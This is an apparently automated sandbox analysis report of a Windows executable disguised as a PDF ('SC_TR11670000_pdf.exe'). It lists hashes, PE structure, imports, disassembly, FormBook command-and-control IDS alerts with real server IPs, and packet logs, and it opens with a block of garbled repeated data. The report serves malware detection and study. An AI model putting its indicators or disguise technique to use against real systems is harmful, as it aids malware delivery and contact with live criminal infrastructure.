28U2CQHZA9B028E2CAHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2C.</9MR02..6CQXJA9.428U2CQHJA9R028E2CqHJ!9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA9R028E2CQHJA

C:\Users\user\AppData\Local\Temp\aut4B83.tmp

Process:	C:\Users\user\Desktop\SC_TR11670000_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	9714
Entropy (8bit):	7.594779982720446
Encrypted:	false
SSDEEP:	192:M7U22a8TDxRMGoftt5E7Z2AA3W0abwNb09W2X/wzxGQl/7Yt1IrxD7bHRA9eL:M7iJPHoftt5+ZBbwNbkozdYMNbRA9U
MD5:	AB8B3C56FA613D1FC8B5C508765CE882
SHA1:	2C26F887BF6D3264D6D9C5F093930CEAD4E6DCC3
SHA-256:	3DBB5E14081D6D5D08D26039D06F3EEA5FEC1A3A1B68E73715BC90F601D8897C
SHA-512:	EE2FD955DAFE63A2866E0A62633FDFE434FD1CBC12F41DC03FF400167EDEF11E227A1B7659865311513E1877FBF3857E8D4CBA69F8801E14B71ACBEF4F0F6CF7
Malicious:	false
Preview:	EA06..p..M..Y......f....qo.\'.....p.L.....k7..&...:a6.N'3I..io....].......K........\|...o..o.M.......8.....9.[.30....3....2.Z..k9..6.@.o.l..\......g.9.L.w...\....N..3I.........9..&....r.'.Y...c ....An.H.......F.3<..\..6....`....f@...x..j....Br.....[..0..n3.\|.n...\f@5_..h....f.5_..p.U..m.5_....U..n@5_..`.U..@5\..>3...M.^.n.Z..k6.z..o6......@......y..G../Z.M. .....jr.....n.u....$.`./.o8...f.G_T.......@>_.......zk5....i..... ...................`.M..`... ...p...@....'.4...{>K\|..c.Mm.@..[..._..p......>Kx#G.o..3\|w...G.4..&@8_..kp..i\|w.....p.h............7.MnsK....M...;..8..f.0.L..79..f..+..ff6....6.N. ...f...E...Y....3.I.............w............2p....<d....,vb...t....N@!+..'& ....,fo2..n6........r.2.X...c3k..es.Y.!...Gf@....,f.9.N.`. .#7.....c.0.....y..p.h.s.....,vf...\|..t.L@...40.....f.....&3....4..@.6.-..p..S....2...S0.N.@.;5.`...9.......k8.....c.P..\.3.wx.....vl........E......y6....p.c3....4..b.!....F ....B5p.L.3........vn.....f....r...B3P.....;8.X...n.............g.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.1297433415067
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SC_TR11670000_pdf.exe
File size:	1'179'136 bytes
MD5:	1ead28dad1fae4a2478c61d096a3f162
SHA1:	503a22eb5ae11321abbce439d4548b037281018d
SHA256:	62cb069bd0351753a2cca2186257049a8ca4b5eaf3fbc9ef37080d9ec3f58f24
SHA512:	db8cef63130b7694d0bb866d4ae9c9ec4a3527b93a4027c39d1f8f961d0396444e15636407891a23475e2e77f346c383baf821da6d4c208aa0987e47cb5e91ad
SSDEEP:	24576:cAHnh+eWsN3skA4RV1Hom2KXMmHalgcMhzcVETYYPQQxQE5:7h+ZkldoPK8Yalg3hIEXxP
TLSH:	8E45AD0273D1C036FFABA2739B6AF24156BC79254133852F13981DB9BD701B2276E663
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x42800a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674D26E4 [Mon Dec 2 03:17:56 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007F6008B9235Dh
jmp 00007F6008B85114h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F6008B8529Ah
cmp edi, eax
jc 00007F6008B855FEh
bt dword ptr [004C41FCh], 01h
jnc 00007F6008B85299h
rep movsb
jmp 00007F6008B855ACh
cmp ecx, 00000080h
jc 00007F6008B85464h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F6008B852A0h
bt dword ptr [004BF324h], 01h
jc 00007F6008B85770h
bt dword ptr [004C41FCh], 00000000h
jnc 00007F6008B8543Dh
test edi, 00000003h
jne 00007F6008B8544Eh
test esi, 00000003h
jne 00007F6008B8542Dh
bt edi, 02h
jnc 00007F6008B8529Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F6008B852A3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F6008B852F5h
bt esi, 03h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbc0cc	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc8000	0x556d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x11e000	0x7134	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4b50	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dfdd	0x8e000	310e36668512d53489c005622bb1b4a9	False	0.5735602580325704	data	6.675248351711057	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2fd8e	0x2fe00	748cf1ab2605ce1fd72d53d912abb68f	False	0.32828818537859006	data	5.763244005758284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbf000	0x8f74	0x5200	aae9601d920f07080bdfadf43dfeff12	False	0.1017530487804878	data	1.1963819235530628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc8000	0x556d8	0x55800	4e23b2c37d293c24565dc93788680cf6	False	0.9229800575657895	data	7.884330399558395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x11e000	0x7134	0x7200	f04128ad0f87f42830e4a6cdbc38c719	False	0.7617530153508771	data	6.783955557128661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc85a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc86d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc87f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc8920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc8c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc8d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc9bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xca480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xca9e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xccf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xce038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xce4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xce4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcea84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcf110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcf5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcfb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xd01f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xd0660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xd07b8	0x4c99e	data			1.000337839991331
RT_GROUP_ICON	0x11d158	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x11d1d0	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x11d1e4	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x11d1f8	0x14	data	English	Great Britain	1.25
RT_VERSION	0x11d20c	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x11d2e8	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-13T13:07:05.530729+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49737	172.67.158.234	80	TCP
2024-12-13T13:07:08.252689+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49738	172.67.158.234	80	TCP
2024-12-13T13:07:10.908824+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49740	172.67.158.234	80	TCP
2024-12-13T13:07:20.468418+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49768	161.97.142.144	80	TCP
2024-12-13T13:07:23.138023+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49774	161.97.142.144	80	TCP
2024-12-13T13:07:25.936215+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49780	161.97.142.144	80	TCP
2024-12-13T13:07:35.326587+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49802	209.74.64.58	80	TCP
2024-12-13T13:07:38.014967+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49813	209.74.64.58	80	TCP
2024-12-13T13:07:40.722909+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49819	209.74.64.58	80	TCP
2024-12-13T13:08:08.290667+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49836	45.200.148.45	80	TCP
2024-12-13T13:08:30.307107+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49886	45.200.148.45	80	TCP
2024-12-13T13:08:35.450355+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49946	104.21.74.79	80	TCP
2024-12-13T13:08:38.122267+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49953	104.21.74.79	80	TCP
2024-12-13T13:08:40.780985+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49959	104.21.74.79	80	TCP
2024-12-13T13:08:50.698088+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49984	3.33.130.190	80	TCP
2024-12-13T13:08:53.357819+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49992	3.33.130.190	80	TCP
2024-12-13T13:08:56.049620+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49998	3.33.130.190	80	TCP
2024-12-13T13:09:05.300297+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50020	13.248.169.48	80	TCP
2024-12-13T13:09:08.375339+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50027	13.248.169.48	80	TCP
2024-12-13T13:09:11.032302+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50028	13.248.169.48	80	TCP
2024-12-13T13:09:23.555205+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50030	144.76.190.39	80	TCP
2024-12-13T13:09:26.191110+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50031	144.76.190.39	80	TCP
2024-12-13T13:09:29.106835+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50032	144.76.190.39	80	TCP
2024-12-13T13:09:46.998712+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50034	198.251.84.200	80	TCP
2024-12-13T13:09:49.662523+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50035	198.251.84.200	80	TCP
2024-12-13T13:09:52.307580+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50036	198.251.84.200	80	TCP
2024-12-13T13:10:02.206907+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50038	217.160.0.60	80	TCP
2024-12-13T13:10:04.777592+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50039	217.160.0.60	80	TCP
2024-12-13T13:10:07.610447+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50040	217.160.0.60	80	TCP
2024-12-13T13:10:17.022533+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50042	161.97.142.144	80	TCP
2024-12-13T13:10:19.888644+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50043	161.97.142.144	80	TCP
2024-12-13T13:10:23.366724+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50044	161.97.142.144	80	TCP
2024-12-13T13:10:33.107170+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50046	172.67.149.64	80	TCP
2024-12-13T13:10:35.778951+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50047	172.67.149.64	80	TCP
2024-12-13T13:10:38.435162+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50048	172.67.149.64	80	TCP
2024-12-13T13:10:48.113015+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50050	3.33.130.190	80	TCP
2024-12-13T13:10:50.763553+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50051	3.33.130.190	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 13:06:47.225857973 CET	49736	80	192.168.2.4	15.204.67.7
Dec 13, 2024 13:06:47.345817089 CET	80	49736	15.204.67.7	192.168.2.4
Dec 13, 2024 13:06:47.345933914 CET	49736	80	192.168.2.4	15.204.67.7
Dec 13, 2024 13:06:47.357765913 CET	49736	80	192.168.2.4	15.204.67.7
Dec 13, 2024 13:06:47.477677107 CET	80	49736	15.204.67.7	192.168.2.4
Dec 13, 2024 13:06:48.766279936 CET	80	49736	15.204.67.7	192.168.2.4
Dec 13, 2024 13:06:48.766361952 CET	80	49736	15.204.67.7	192.168.2.4
Dec 13, 2024 13:06:48.766458988 CET	80	49736	15.204.67.7	192.168.2.4
Dec 13, 2024 13:06:48.766601086 CET	49736	80	192.168.2.4	15.204.67.7
Dec 13, 2024 13:06:48.770984888 CET	49736	80	192.168.2.4	15.204.67.7
Dec 13, 2024 13:06:48.890698910 CET	80	49736	15.204.67.7	192.168.2.4
Dec 13, 2024 13:07:04.229716063 CET	49737	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:04.349515915 CET	80	49737	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:04.349600077 CET	49737	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:04.360903025 CET	49737	80	192.168.2.4	172.67.158.234
Dec 13, 2024 13:07:04.480706930 CET	80	49737	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:05.529803991 CET	80	49737	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:05.529853106 CET	80	49737	172.67.158.234	192.168.2.4
Dec 13, 2024 13:07:05.530729055 CET	49737	80	192.168.2.4	172.67.158.234
